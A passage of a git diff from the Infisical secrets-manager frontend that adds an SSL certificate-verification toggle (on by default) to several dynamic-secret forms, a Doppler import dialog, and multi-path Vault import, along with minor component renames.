+        tags: [],
+        sslRejectUnauthorized: true
       },
       environment: isSingleEnvironmentMode ? environments[0] : undefined,
       usernameTemplate: "{{randomUsername}}"
@@ -422,6 +426,37 @@ export const RabbitMqInputForm = ({
                   )}
                 />
               </div>
+              <Controller
+                name="provider.sslRejectUnauthorized"
+                control={control}
+                render={({ field: { value, onChange }, fieldState: { error } }) => (
+                  <FormControl isError={Boolean(error?.message)} errorText={error?.message}>
+                    <Switch
+                      className="bg-mineshaft-400/50 shadow-inner data-[state=checked]:bg-green/80"
+                      id="ssl-reject-unauthorized"
+                      thumbClassName="bg-mineshaft-800"
+                      isChecked={value}
+                      onCheckedChange={onChange}
+                    >
+                      <p className="w-full">
+                        SSL Reject Unauthorized
+                        <Tooltip
+                          className="max-w-md"
+                          content={
+                            <p>
+                              If enabled, the server certificate will be verified against the list
+                              of supplied CAs. Disable this option if you are using a self-signed
+                              certificate.
+                            </p>
+                          }
+                        >
+                          <FontAwesomeIcon icon={faQuestionCircle} size="sm" className="ml-1" />
+                        </Tooltip>
+                      </p>
+                    </Switch>
+                  </FormControl>
+                )}
+              />
               <Controller
                 control={control}
                 name="usernameTemplate"
diff --git a/frontend/src/pages/secret-manager/SecretDashboardPage/components/ActionBar/CreateDynamicSecretForm/RedisInputForm.tsx b/frontend/src/pages/secret-manager/SecretDashboardPage/components/ActionBar/CreateDynamicSecretForm/RedisInputForm.tsx
index 31745ae7939..ba840332d6c 100644
--- a/frontend/src/pages/secret-manager/SecretDashboardPage/components/ActionBar/CreateDynamicSecretForm/RedisInputForm.tsx
+++ b/frontend/src/pages/secret-manager/SecretDashboardPage/components/ActionBar/CreateDynamicSecretForm/RedisInputForm.tsx
@@ -1,4 +1,6 @@
 import { Controller, useForm } from "react-hook-form";
+import { faQuestionCircle } from "@fortawesome/free-solid-svg-icons";
+import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
 import { zodResolver } from "@hookform/resolvers/zod";
 import ms from "ms";
 import { z } from "zod";
@@ -14,7 +16,9 @@ import {
   FormControl,
   Input,
   SecretInput,
-  TextArea
+  Switch,
+  TextArea,
+  Tooltip
 } from "@app/components/v2";
 import { useCreateDynamicSecret } from "@app/hooks/api";
 import { DynamicSecretProviders } from "@app/hooks/api/dynamicSecret/types";
@@ -30,7 +34,8 @@ const formSchema = z.object({
     creationStatement: z.string().min(1),
     renewStatement: z.string().optional(),
     revocationStatement: z.string().min(1),
-    ca: z.string().optional()
+    ca: z.string().optional(),
+    sslRejectUnauthorized: z.boolean().default(true)
   }),
   defaultTTL: z.string().superRefine((val, ctx) => {
     const valMs = ms(val);
@@ -84,7 +89,8 @@ export const RedisInputForm = ({
         username: "default",
         port: 6379,
         creationStatement: "ACL SETUSER {{username}} on >{{password}} ~* &* +@all",
-        revocationStatement: "ACL DELUSER {{username}}"
+        revocationStatement: "ACL DELUSER {{username}}",
+        sslRejectUnauthorized: true
       },
       environment: isSingleEnvironmentMode ? environments[0] : undefined,
       usernameTemplate: "{{randomUsername}}"
@@ -258,6 +264,37 @@ export const RedisInputForm = ({
                     </FormControl>
                   )}
                 />
+                <Controller
+                  name="provider.sslRejectUnauthorized"
+                  control={control}
+                  render={({ field: { value, onChange }, fieldState: { error } }) => (
+                    <FormControl isError={Boolean(error?.message)} errorText={error?.message}>
+                      <Switch
+                        className="bg-mineshaft-400/50 shadow-inner data-[state=checked]:bg-green/80"
+                        id="ssl-reject-unauthorized"
+                        thumbClassName="bg-mineshaft-800"
+                        isChecked={value}
+                        onCheckedChange={onChange}
+                      >
+                        <p className="w-full">
+                          SSL Reject Unauthorized
+                          <Tooltip
+                            className="max-w-md"
+                            content={
+                              <p>
+                                If enabled, the server certificate will be verified against the list
+                                of supplied CAs. Disable this option if you are using a self-signed
+                                certificate.
+                              </p>
+                            }
+                          >
+                            <FontAwesomeIcon icon={faQuestionCircle} size="sm" className="ml-1" />
+                          </Tooltip>
+                        </p>
+                      </Switch>
+                    </FormControl>
+                  )}
+                />
                 <Accordion type="single" collapsible className="mb-2 w-full bg-mineshaft-700">
                   <AccordionItem value="advance-statements">
                     <AccordionTrigger>Modify Redis Statements</AccordionTrigger>
diff --git a/frontend/src/pages/secret-manager/SecretDashboardPage/components/ActionBar/CreateDynamicSecretForm/SapHanaInputForm.tsx b/frontend/src/pages/secret-manager/SecretDashboardPage/components/ActionBar/CreateDynamicSecretForm/SapHanaInputForm.tsx
index 8984d1f4907..a76e6569254 100644
--- a/frontend/src/pages/secret-manager/SecretDashboardPage/components/ActionBar/CreateDynamicSecretForm/SapHanaInputForm.tsx
+++ b/frontend/src/pages/secret-manager/SecretDashboardPage/components/ActionBar/CreateDynamicSecretForm/SapHanaInputForm.tsx
@@ -1,4 +1,6 @@
 import { Controller, useForm } from "react-hook-form";
+import { faQuestionCircle } from "@fortawesome/free-solid-svg-icons";
+import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
 import { zodResolver } from "@hookform/resolvers/zod";
 import ms from "ms";
 import { z } from "zod";
@@ -14,7 +16,9 @@ import {
   FormControl,
   Input,
   SecretInput,
-  TextArea
+  Switch,
+  TextArea,
+  Tooltip
 } from "@app/components/v2";
 import { useCreateDynamicSecret } from "@app/hooks/api";
 import { DynamicSecretProviders } from "@app/hooks/api/dynamicSecret/types";
@@ -30,7 +34,8 @@ const formSchema = z.object({
     creationStatement: z.string().min(1),
     revocationStatement: z.string().min(1),
     renewStatement: z.string().optional(),
-    ca: z.string().optional()
+    ca: z.string().optional(),
+    sslRejectUnauthorized: z.boolean().default(true)
   }),
   defaultTTL: z.string().superRefine((val, ctx) => {
     const valMs = ms(val);
@@ -85,7 +90,8 @@ export const SapHanaInputForm = ({
 GRANT "MONITORING" TO {{username}};`,
         revocationStatement: `REVOKE "MONITORING" FROM {{username}};
 DROP USER {{username}};`,
-        renewStatement: "ALTER USER {{username}} VALID UNTIL '{{expiration}}';"
+        renewStatement: "ALTER USER {{username}} VALID UNTIL '{{expiration}}';",
+        sslRejectUnauthorized: true
       },
       environment: isSingleEnvironmentMode ? environments[0] : undefined,
       usernameTemplate: "{{randomUsername}}"
@@ -256,6 +262,37 @@ DROP USER {{username}};`,
                     </FormControl>
                   )}
                 />
+                <Controller
+                  name="provider.sslRejectUnauthorized"
+                  control={control}
+                  render={({ field: { value, onChange }, fieldState: { error } }) => (
+                    <FormControl isError={Boolean(error?.message)} errorText={error?.message}>
+                      <Switch
+                        className="bg-mineshaft-400/50 shadow-inner data-[state=checked]:bg-green/80"
+                        id="ssl-reject-unauthorized"
+                        thumbClassName="bg-mineshaft-800"
+                        isChecked={value}
+                        onCheckedChange={onChange}
+                      >
+                        <p className="w-full">
+                          SSL Reject Unauthorized
+                          <Tooltip
+                            className="max-w-md"
+                            content={
+                              <p>
+                                If enabled, the server certificate will be verified against the list
+                                of supplied CAs. Disable this option if you are using a self-signed
+                                certificate.
+                              </p>
+                            }
+                          >
+                            <FontAwesomeIcon icon={faQuestionCircle} size="sm" className="ml-1" />
+                          </Tooltip>
+                        </p>
+                      </Switch>
+                    </FormControl>
+                  )}
+                />
                 <Accordion type="single" collapsible className="mb-2 w-full bg-mineshaft-700">
                   <AccordionItem value="advance-statements">
                     <AccordionTrigger>Modify SQL Statements</AccordionTrigger>
diff --git a/frontend/src/pages/secret-manager/SecretDashboardPage/components/ActionBar/CreateDynamicSecretForm/SqlDatabaseInputForm.tsx b/frontend/src/pages/secret-manager/SecretDashboardPage/components/ActionBar/CreateDynamicSecretForm/SqlDatabaseInputForm.tsx
index 15927dfb589..16960498538 100644
--- a/frontend/src/pages/secret-manager/SecretDashboardPage/components/ActionBar/CreateDynamicSecretForm/SqlDatabaseInputForm.tsx
+++ b/frontend/src/pages/secret-manager/SecretDashboardPage/components/ActionBar/CreateDynamicSecretForm/SqlDatabaseInputForm.tsx
@@ -1,5 +1,7 @@
 import { useState } from "react";
 import { Controller, useForm } from "react-hook-form";
+import { faQuestionCircle } from "@fortawesome/free-solid-svg-icons";
+import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
 import { zodResolver } from "@hookform/resolvers/zod";
 import { useQuery } from "@tanstack/react-query";
 import ms from "ms";
@@ -73,6 +75,7 @@ const formSchema = z.object({
     renewStatement: z.string().optional(),
     sslEnabled: z.boolean().optional(),
     ca: z.string().optional(),
+    sslRejectUnauthorized: z.boolean().default(true),
     gatewayId: z.string().optional()
   }),
   defaultTTL: z.string().superRefine((val, ctx) => {
@@ -188,6 +191,7 @@ export const SqlDatabaseInputForm = ({
     defaultValues: {
       provider: {
         ...getSqlStatements(SqlProviders.Postgres),
+        sslRejectUnauthorized: true,
         passwordRequirements: {
           length: 48,
           required: {
@@ -627,6 +631,37 @@ export const SqlDatabaseInputForm = ({
                     </FormControl>
                   )}
                 />
+                <Controller
+                  name="provider.sslRejectUnauthorized"
+                  control={control}
+                  render={({ field: { value, onChange }, fieldState: { error } }) => (
+                    <FormControl isError={Boolean(error?.message)} errorText={error?.message}>
+                      <Switch
+                        className="bg-mineshaft-400/50 shadow-inner data-[state=checked]:bg-green/80"
+                        id="ssl-reject-unauthorized"
+                        thumbClassName="bg-mineshaft-800"
+                        isChecked={value}
+                        onCheckedChange={onChange}
+                      >
+                        <p className="w-full">
+                          SSL Reject Unauthorized
+                          <Tooltip
+                            className="max-w-md"
+                            content={
+                              <p>
+                                If enabled, the server certificate will be verified against the list
+                                of supplied CAs. Disable this option if you are using a self-signed
+                                certificate.
+                              </p>
+                            }
+                          >
+                            <FontAwesomeIcon icon={faQuestionCircle} size="sm" className="ml-1" />
+                          </Tooltip>
+                        </p>
+                      </Switch>
+                    </FormControl>
+                  )}
+                />
                 <Accordion type="multiple" className="mb-2 w-full bg-mineshaft-700">
                   <AccordionItem value="advanced">
                     <AccordionTrigger>
diff --git a/frontend/src/pages/secret-manager/SecretDashboardPage/components/ActionBar/CreateDynamicSecretForm/components/LoadFromVaultBanner.tsx b/frontend/src/pages/secret-manager/SecretDashboardPage/components/ActionBar/CreateDynamicSecretForm/components/LoadFromVaultBanner.tsx
index fa9e7adf63e..3ea4392ae4b 100644
--- a/frontend/src/pages/secret-manager/SecretDashboardPage/components/ActionBar/CreateDynamicSecretForm/components/LoadFromVaultBanner.tsx
+++ b/frontend/src/pages/secret-manager/SecretDashboardPage/components/ActionBar/CreateDynamicSecretForm/components/LoadFromVaultBanner.tsx
@@ -4,14 +4,17 @@ import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
 import { Button, Tooltip } from "@app/components/v2";
 import { useOrgPermission } from "@app/context";
 import { OrgMembershipRole } from "@app/helpers/roles";
-import { useGetVaultExternalMigrationConfigs } from "@app/hooks/api/migration";
+import { useGetExternalMigrationConfigs } from "@app/hooks/api/migration";
+import { ExternalMigrationProviders } from "@app/hooks/api/migration/types";
 
 type Props = {
   onClick: () => void;
 };
 
 export const LoadFromVaultBanner = ({ onClick }: Props) => {
-  const { data: vaultConfigs = [] } = useGetVaultExternalMigrationConfigs();
+  const { data: vaultConfigs = [] } = useGetExternalMigrationConfigs(
+    ExternalMigrationProviders.Vault
+  );
   const hasVaultConnection = vaultConfigs.some((config) => config.connectionId);
 
   const { hasOrgRole } = useOrgPermission();
diff --git a/frontend/src/pages/secret-manager/SecretDashboardPage/components/ActionBar/DopplerSecretImportModal.tsx b/frontend/src/pages/secret-manager/SecretDashboardPage/components/ActionBar/DopplerSecretImportModal.tsx
new file mode 100644
index 00000000000..aff2609235a
--- /dev/null
+++ b/frontend/src/pages/secret-manager/SecretDashboardPage/components/ActionBar/DopplerSecretImportModal.tsx
@@ -0,0 +1,305 @@
+import { useEffect, useMemo } from "react";
+import { Controller, useForm } from "react-hook-form";
+import { components, GroupHeadingProps, OptionProps } from "react-select";
+import { zodResolver } from "@hookform/resolvers/zod";
+import { InfoIcon } from "lucide-react";
+import { z } from "zod";
+
+import {
+  Badge,
+  Button,
+  Dialog,
+  DialogContent,
+  DialogDescription,
+  DialogFooter,
+  DialogHeader,
+  DialogTitle,
+  Field,
+  FieldContent,
+  FieldError,
+  FieldLabel
+} from "@app/components/v3";
+import { FilterableSelect } from "@app/components/v3/generic/ReactSelect";
+import { useListAppConnections } from "@app/hooks/api/appConnections/queries";
+import { useGetDopplerConfigs, useGetDopplerProjects } from "@app/hooks/api/migration/queries";
+import { TDopplerConfig, TExternalMigrationConfig } from "@app/hooks/api/migration/types";
+
+const schema = z.object({
+  configId: z.string().min(1, "Doppler configuration is required"),
+  dopplerProject: z.string().min(1, "Doppler project is required"),
+  dopplerEnvironment: z.string().min(1, "Doppler config is required")
+});
+
+type FormData = z.infer<typeof schema>;
+
+type Props = {
+  isOpen: boolean;
+  onOpenChange: (isOpen: boolean) => void;
+  configs: TExternalMigrationConfig[];
+  environment: string;
+  secretPath: string;
+  onImport: (dopplerProject: string, dopplerEnvironment: string, configId: string) => Promise<void>;
+};
+
+const DopplerConfigGroupHeading = (props: GroupHeadingProps<TDopplerConfig>) => (
+  <components.GroupHeading
+    {...props}
+    className="px-2 py-1.5 text-xs font-semibold tracking-wider text-muted uppercase"
+  />
+);
+
+const formatConfigLabel = (config: TDopplerConfig) => {
+  if (config.root) {
+    return config.name;
+  }
+  // Branch configs are named like "env_branch" — show only the branch suffix
+  const prefix = `${config.environment}_`;
+  const branchName = config.name.startsWith(prefix)
+    ? config.name.slice(prefix.length)
+    : config.name;
+  return branchName;
+};
+
+const DopplerConfigOption = (props: OptionProps<TDopplerConfig>) => {
+  const { data } = props;
+  return (
+    <components.Option {...props}>
+      <div className="flex items-center gap-2">
+        <span>{formatConfigLabel(data)}</span>
+        {data.root && <Badge variant="project">Root</Badge>}
+      </div>
+    </components.Option>
+  );
+};
+
+export const DopplerSecretImportModal = ({
+  isOpen,
+  onOpenChange,
+  configs,
+  environment,
+  secretPath,
+  onImport
+}: Props) => {
+  const {
+    control,
+    handleSubmit,
+    watch,
+    reset,
+    formState: { errors, isSubmitting }
+  } = useForm<FormData>({
+    resolver: zodResolver(schema),
+    defaultValues: {
+      configId: "",
+      dopplerProject: "",
+      dopplerEnvironment: ""
+    }
+  });
+
+  const selectedConfigId = watch("configId");
+  const selectedDopplerProject = watch("dopplerProject");
+
+  const hasMultipleConfigs = configs.length > 1;
+  const { data: appConnections = [] } = useListAppConnections(undefined, {
+    enabled: hasMultipleConfigs
+  });
+
+  useEffect(() => {
+    if (isOpen) {
+      reset({
+        configId: configs.length === 1 ? configs[0].id : "",
+        dopplerProject: "",
+        dopplerEnvironment: ""
+      });
+    }
+  }, [isOpen, reset, configs]);
+
+  const { data: dopplerProjects = [], isPending: isLoadingProjects } = useGetDopplerProjects(
+    selectedConfigId || undefined
+  );
+  const { data: dopplerConfigs = [], isPending: isLoadingConfigs } = useGetDopplerConfigs(
+    selectedConfigId || undefined,
+    selectedDopplerProject || undefined
+  );
+
+  const sortedDopplerConfigs = useMemo(() => {
+    return [...dopplerConfigs].sort((a, b) => {
+      // Group by environment first
+      if (a.environment !== b.environment) {
+        return a.environment.localeCompare(b.environment);
+      }
+      // Root configs come first within each environment
+      if (a.root !== b.root) {
+        return a.root ? -1 : 1;
+      }
+      return a.name.localeCompare(b.name);
+    });
+  }, [dopplerConfigs]);
+
+  const configOptions = useMemo(
+    () =>
+      configs.map((c) => {
+        const conn = appConnections.find((a) => a.id === c.connectionId);
+        return { id: c.id, label: conn?.name ?? c.id };
+      }),
+    [configs, appConnections]
+  );
+
+  const handleClose = () => {
+    reset();
+    onOpenChange(false);
+  };
+
+  const onFormSubmit = async (data: FormData) => {
+    await onImport(data.dopplerProject, data.dopplerEnvironment, data.configId);
+    handleClose();
+  };
+
+  return (
+    <Dialog
+      open={isOpen}
+      onOpenChange={(open) => {
+        if (!open) reset();
+        onOpenChange(open);
+      }}
+    >
+      <DialogContent className="max-w-lg overflow-visible" showCloseButton>
+        <DialogHeader>
+          <DialogTitle>Import from Doppler</DialogTitle>
+          <DialogDescription>
+            Select a Doppler project and config to import secrets into the current Infisical folder.
+          </DialogDescription>
+        </DialogHeader>
+
+        <div className="mb-4 flex items-start gap-3 rounded-md border border-project/20 bg-project/5 p-3 text-sm text-project">
+          <InfoIcon className="mt-0.5 size-4 shrink-0" />
+          <div>
+            <p className="font-medium text-foreground">Import destination</p>
+            <p className="mt-1 text-foreground/75">
+              Secrets will be imported into environment{" "}
+              <code className="text-xs">{environment}</code> at path{" "}
+              <code className="text-xs">{secretPath}</code>.
+            </p>
+          </div>
+        </div>
+
+        <form onSubmit={handleSubmit(onFormSubmit)} className="space-y-4">
+          {hasMultipleConfigs && (
+            <Controller
+              control={control}
+              name="configId"
+              render={({ field }) => {
+                const selectedItem = configOptions.find((o) => o.id === field.value);
+                return (
+                  <Field>
+                    <FieldLabel>Doppler Configuration</FieldLabel>
+                    <FieldContent>
+                      <FilterableSelect
+                        value={selectedItem || null}
+                        onChange={(newValue) => {
+                          const single = Array.isArray(newValue) ? newValue[0] : newValue;
+                          field.onChange(single && "id" in single ? single.id : "");
+                        }}
+                        options={configOptions}
+                        placeholder="Select Doppler configuration..."
+                        getOptionLabel={(option) => option.label}
+                        getOptionValue={(option) => option.id}
+                      />
+                    </FieldContent>
+                    <FieldError>{errors.configId?.message}</FieldError>
+                  </Field>
+                );
+              }}
+            />
+          )}
+
+          <Controller
+            control={control}
+            name="dopplerProject"
+            render={({ field }) => {
+              const selectedItem = dopplerProjects.find((p) => p.slug === field.value);
+
+              return (
+                <Field>
+                  <FieldLabel>Source Project</FieldLabel>
+                  <FieldContent>
+                    <FilterableSelect
+                      value={selectedItem || null}
+                      onChange={(newValue) => {
+                        const singleValue = Array.isArray(newValue) ? newValue[0] : newValue;
+                        if (singleValue && "slug" in singleValue) {
+                          field.onChange(singleValue.slug);
+                        } else {
+                          field.onChange("");
+                        }
+                      }}
+                      isLoading={isLoadingProjects && Boolean(selectedConfigId)}
+                      isDisabled={!selectedConfigId}
+                      options={dopplerProjects}
+                      placeholder="Select source project..."
+                      getOptionLabel={(option) => option.name}
+                      getOptionValue={(option) => option.slug}
+                    />
+                  </FieldContent>
+                  <FieldError>{errors.dopplerProject?.message}</FieldError>
+                </Field>
+              );
+            }}
+          />
+
+          <Controller
+            control={control}
+            name="dopplerEnvironment"
+            render={({ field }) => {
+              const selectedItem = sortedDopplerConfigs.find((c) => c.name === field.value);
+
+              return (
+                <Field>
+                  <FieldLabel>Source Config</FieldLabel>
+                  <FieldContent>
+                    <FilterableSelect
+                      value={selectedItem || null}
+                      onChange={(newValue) => {
+                        const singleValue = Array.isArray(newValue) ? newValue[0] : newValue;
+                        if (singleValue && "name" in singleValue) {
+                          field.onChange(singleValue.name);
+                        } else {
+                          field.onChange("");
+                        }
+                      }}
+                      isLoading={isLoadingConfigs && Boolean(selectedDopplerProject)}
+                      isDisabled={!selectedDopplerProject}
+                      options={sortedDopplerConfigs}
+                      placeholder="Select source config..."
+                      getOptionLabel={formatConfigLabel}
+                      getOptionValue={(option) => option.name}
+                      groupBy="environment"
+                      components={{
+                        GroupHeading: DopplerConfigGroupHeading,
+                        Option: DopplerConfigOption
+                      }}
+                    />
+                  </FieldContent>
+                  <FieldError>{errors.dopplerEnvironment?.message}</FieldError>
+                </Field>
+              );
+            }}
+          />
+
+          <DialogFooter className="gap-2 sm:gap-2">
+            <Button type="button" variant="ghost" onClick={handleClose}>
+              Cancel
+            </Button>
+            <Button
+              type="submit"
+              variant="project"
+              isPending={isSubmitting}
+              isDisabled={isSubmitting}
+            >
+              Import Secrets
+            </Button>
+          </DialogFooter>
+        </form>
+      </DialogContent>
+    </Dialog>
+  );
+};
diff --git a/frontend/src/pages/secret-manager/SecretDashboardPage/components/ActionBar/FolderForm.tsx b/frontend/src/pages/secret-manager/SecretDashboardPage/components/ActionBar/FolderForm.tsx
index 57937993dec..f69c1cfa67a 100644
--- a/frontend/src/pages/secret-manager/SecretDashboardPage/components/ActionBar/FolderForm.tsx
+++ b/frontend/src/pages/secret-manager/SecretDashboardPage/components/ActionBar/FolderForm.tsx
@@ -12,8 +12,8 @@ import {
   FieldDescription,
   FieldError,
   FieldLabel,
-  TextArea,
-  UnstableInput
+  Input,
+  TextArea
 } from "@app/components/v3";
 
 type Props = {
@@ -99,7 +99,7 @@ export const FolderForm = ({
           <Field>
             <FieldLabel>Name</FieldLabel>
             <FieldContent>
-              <UnstableInput {...field} placeholder="Type your folder name" />
+              <Input {...field} placeholder="Type your folder name" />
             </FieldContent>
             {error && <FieldError>{error.message}</FieldError>}
           </Field>
diff --git a/frontend/src/pages/secret-manager/SecretDashboardPage/components/ActionBar/VaultSecretImportModal.tsx b/frontend/src/pages/secret-manager/SecretDashboardPage/components/ActionBar/VaultSecretImportModal.tsx
index 820a21f4d4e..2f52bd73c43 100644
--- a/frontend/src/pages/secret-manager/SecretDashboardPage/components/ActionBar/VaultSecretImportModal.tsx
+++ b/frontend/src/pages/secret-manager/SecretDashboardPage/components/ActionBar/VaultSecretImportModal.tsx
@@ -22,20 +22,20 @@ type Props = {
   onOpenChange: (isOpen: boolean) => void;
   environment: string;
   secretPath: string;
-  onImport: (vaultPath: string, namespace: string) => void;
+  onImport: (vaultPaths: string[], namespace: string) => void;
 };
 
 type ContentProps = {
   onClose: () => void;
   environment: string;
   secretPath: string;
-  onImport: (vaultPath: string, namespace: string) => void;
+  onImport: (vaultPaths: string[], namespace: string) => void;
 };
 
 const Content = ({ onClose, environment, secretPath, onImport }: ContentProps) => {
   const [selectedNamespace, setSelectedNamespace] = useState<string | null>(null);
   const [selectedMountPath, setSelectedMountPath] = useState<string | null>(null);
-  const [selectedPath, setSelectedPath] = useState<string | null>(null);
+  const [selectedPaths, setSelectedPaths] = useState<string[]>([]);
   const [shouldFetchPaths, setShouldFetchPaths] = useState(false);
   const [shouldFetchMounts, setShouldFetchMounts] = useState(false);
 
@@ -70,8 +70,11 @@ const Content = ({ onClose, environment, secretPath, onImport }: ContentProps) =
   }, [selectedNamespace, selectedMountPath]);
 
   const handleImport = () => {
-    if (!selectedPath) {
-      createNotification({ type: "error", text: "Please select a Vault secret path to import" });
+    if (!selectedPaths.length) {
+      createNotification({
+        type: "error",
+        text: "Please select at least one Vault secret path to import"
+      });
       return;
     }
 
@@ -88,7 +91,7 @@ const Content = ({ onClose, environment, secretPath, onImport }: ContentProps) =
       return;
     }
 
-    onImport(selectedPath, selectedNamespace);
+    onImport(selectedPaths, selectedNamespace);
     onClose();
   };
 
@@ -103,9 +106,9 @@ const Content = ({ onClose, environment, secretPath, onImport }: ContentProps) =
             </div>
             <div className="space-y-1.5 text-xs leading-relaxed">
               <p>
-                Select a Vault namespace and secret path to import secrets into the current
-                Infisical environment (<code className="text-xs">{environment}</code>) at path{" "}
-                <code className="text-xs">{secretPath}</code>.
+                Select a Vault namespace and one or more secret paths to import secrets into the
+                current Infisical environment (<code className="text-xs">{environment}</code>) at
+                path <code className="text-xs">{secretPath}</code>.
               </p>
             </div>
           </div>
@@ -125,7 +128,7 @@ const Content = ({ onClose, environment, secretPath, onImport }: ContentProps) =
                 const namespace = value as { id: string; name: string };
                 setSelectedNamespace(namespace.name);
                 setSelectedMountPath(null);
-                setSelectedPath(null);
+                setSelectedPaths([]);
               }
             }}
             options={namespaces || []}
@@ -153,7 +156,7 @@ const Content = ({ onClose, environment, secretPath, onImport }: ContentProps) =
               if (value && !Array.isArray(value)) {
                 const mount = value as { path: string; type: string; version: string | null };
                 setSelectedMountPath(mount.path.replace(/\/$/, "")); // Remove trailing slash
-                setSelectedPath(null);
+                setSelectedPaths([]);
               }
             }}
             options={kvMounts || []}
@@ -172,12 +175,13 @@ const Content = ({ onClose, environment, secretPath, onImport }: ContentProps) =
       <FormControl label="Vault Secret Path" className="mb-6">
         <>
           <FilterableSelect
-            value={selectedPath ? { path: selectedPath } : null}
+            isMulti
+            value={selectedPaths.map((path) => ({ path }))}
             onChange={(value) => {
-              if (value && !Array.isArray(value)) {
-                setSelectedPath((value as { path: string }).path);
-              } else {
-                setSelectedPath(null);
+              if (!value) {
+                setSelectedPaths([]);
+              } else if (Array.isArray(value)) {
+                setSelectedPaths(value.map((option) => option.path));
               }
             }}
             options={(secretPaths || []).map((path) => ({ path }))}
@@ -187,13 +191,13 @@ const Content = ({ onClose, environment, secretPath, onImport }: ContentProps) =
             placeholder={
               !selectedMountPath
                 ? "Select a mount path first..."
-                : "Select a Vault path to import..."
+                : "Select Vault path(s) to import..."
             }
             isClearable
             className="w-full"
           />
           <p className="mt-1 text-xs text-mineshaft-400">
-            Choose a secret path from the selected mount to import into Infisical
+            Choose one or more secret paths from the selected mount to import into Infisical
           </p>
         </>
       </FormControl>
@@ -201,7 +205,7 @@ const Content = ({ onClose, environment, secretPath, onImport }: ContentProps) =
       <div className="mt-8 flex space-x-4">
         <Button
           onClick={handleImport}
-          isDisabled={!selectedPath || isLoadingMounts || isLoadingPaths}
+          isDisabled={!selectedPaths.length || isLoadingMounts || isLoadingPaths}
         >
           Import Secrets
         </Button>
@@ -227,7 +231,7 @@ export const VaultSecretImportModal = ({
       <ModalContent
         bodyClassName="overflow-visible"
         title="Import from HashiCorp Vault"
-        subTitle="Select a Vault namespace and secret path to import secrets into the current environment and folder."
+        subTitle="Select a Vault namespace and one or more secret paths to import secrets into the current environment and folder."
         className="max-w-2xl"
       >
         <Content
diff --git a/frontend/src/pages/secret-manager/SecretDashboardPage/components/CommitForm/CommitForm.tsx b/frontend/src/pages/secret-manager/SecretDashboardPage/components/CommitForm/CommitForm.tsx
index 0257c0bd002..6c9ab48401b 100644
--- a/frontend/src/pages/secret-manager/SecretDashboardPage/components/CommitForm/CommitForm.tsx
+++ b/frontend/src/pages/secret-manager/SecretDashboardPage/components/CommitForm/CommitForm.tsx
@@ -17,13 +17,13 @@ import { Tooltip } from "@app/components/v2";
 import {
   Badge,
   Button,
+  Input,
   Sheet,
   SheetContent,
   SheetDescription,
   SheetFooter,
   SheetHeader,
-  SheetTitle,
-  UnstableInput
+  SheetTitle
 } from "@app/components/v3";
 import { dashboardKeys, fetchSecretValue } from "@app/hooks/api/dashboard/queries";
 import { PendingAction } from "@app/hooks/api/secretFolders/types";
@@ -683,7 +683,7 @@ export const CommitForm: React.FC<CommitFormProps> = ({
             <div className="flex w-full flex-col gap-4">
               <div>
                 <label className="mb-2 block text-sm font-medium">Commit Message</label>
-                <UnstableInput
+                <Input
                   value={commitMessage}
                   onChange={(e) => setCommitMessage(e.target.value)}
                   placeholder="Describe your changes..."
diff --git a/frontend/src/pages/secret-manager/SecretDashboardPage/components/DynamicSecretListView/EditDynamicSecretForm/EditDynamicSecretAwsElastiCacheProviderForm.tsx b/frontend/src/pages/secret-manager/SecretDashboardPage/components/DynamicSecretListView/EditDynamicSecretForm/EditDynamicSecretAwsElastiCacheProviderForm.tsx
index 0015c0c0c99..413eaebfe5b 100644
--- a/frontend/src/pages/secret-manager/SecretDashboardPage/components/DynamicSecretListView/EditDynamicSecretForm/EditDynamicSecretAwsElastiCacheProviderForm.tsx
+++ b/frontend/src/pages/secret-manager/SecretDashboardPage/components/DynamicSecretListView/EditDynamicSecretForm/EditDynamicSecretAwsElastiCacheProviderForm.tsx
@@ -13,7 +13,6 @@ import {
   Button,
   FormControl,
   Input,
-  SecretInput,
   TextArea
 } from "@app/components/v2";
 import { useUpdateDynamicSecret } from "@app/hooks/api";
@@ -29,8 +28,7 @@ const formSchema = z.object({
 
       region: z.string().trim(),
       creationStatement: z.string().trim(),
-      revocationStatement: z.string().trim(),
-      ca: z.string().optional()
+      revocationStatement: z.string().trim()
     })
     .partial(),
   defaultTTL: z.string().superRefine((val, ctx) => {
@@ -239,23 +237,6 @@ export const EditDynamicSecretAwsElastiCacheProviderForm = ({
               />
             </div>
             <div>
-              <Controller
-                control={control}
-                name="inputs.ca"
-                render={({ field, fieldState: { error } }) => (
-                  <FormControl
-                    isOptional
-                    label="CA(SSL)"
-                    isError={Boolean(error?.message)}
-                    errorText={error?.message}
-                  >
-                    <SecretInput
-                      {...field}
-                      containerClassName="text-bunker-300 hover:border-primary-400/50 border border-mineshaft-600 bg-mineshaft-900 px-2 py-1.5"
-                    />
-                  </FormControl>
-                )}
-              />
               <Accordion type="single" collapsible className="mb-2 w-full bg-mineshaft-700">
                 <AccordionItem value="advance-statements">
                   <AccordionTrigger>Modify ElastiCache Statements</AccordionTrigger>
diff --git a/frontend/src/pages/secret-manager/SecretDashboardPage/components/DynamicSecretListView/EditDynamicSecretForm/EditDynamicSecretAzureSqlDatabaseForm.tsx b/frontend/src/pages/secret-manager/SecretDashboardPage/components/DynamicSecretListView/EditDynamicSecretForm/EditDynamicSecretAzureSqlDatabaseForm.tsx
index fd370d75517..d1a896a74f6 100644
--- a/frontend/src/pages/secret-manager/SecretDashboardPage/components/DynamicSecretListView/EditDynamicSecretForm/EditDynamicSecretAzureSqlDatabaseForm.tsx
+++ b/frontend/src/pages/secret-manager/SecretDashboardPage/components/DynamicSecretListView/EditDynamicSecretForm/EditDynamicSecretAzureSqlDatabaseForm.tsx
@@ -1,4 +1,6 @@
 import { Controller, useForm } from "react-hook-form";
+import { faQuestionCircle } from "@fortawesome/free-solid-svg-icons";
+import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
 import { zodResolver } from "@hookform/resolvers/zod";
 import { useQuery } from "@tanstack/react-query";
 import ms from "ms";
@@ -66,6 +68,7 @@ const formSchema = z.object({
       renewStatement: z.string().optional(),
       ca: z.string().optional(),
       sslEnabled: z.boolean().optional(),
+      sslRejectUnauthorized: z.boolean().optional(),
       gatewayId: z.string().optional()
     })
     .partial(),
@@ -389,23 +392,60 @@ export const EditDynamicSecretAzureSqlDatabaseForm = ({
                   />
                 </div>
                 {sslEnabled && (
-                  <Controller
-                    control={control}
-                    name="inputs.ca"
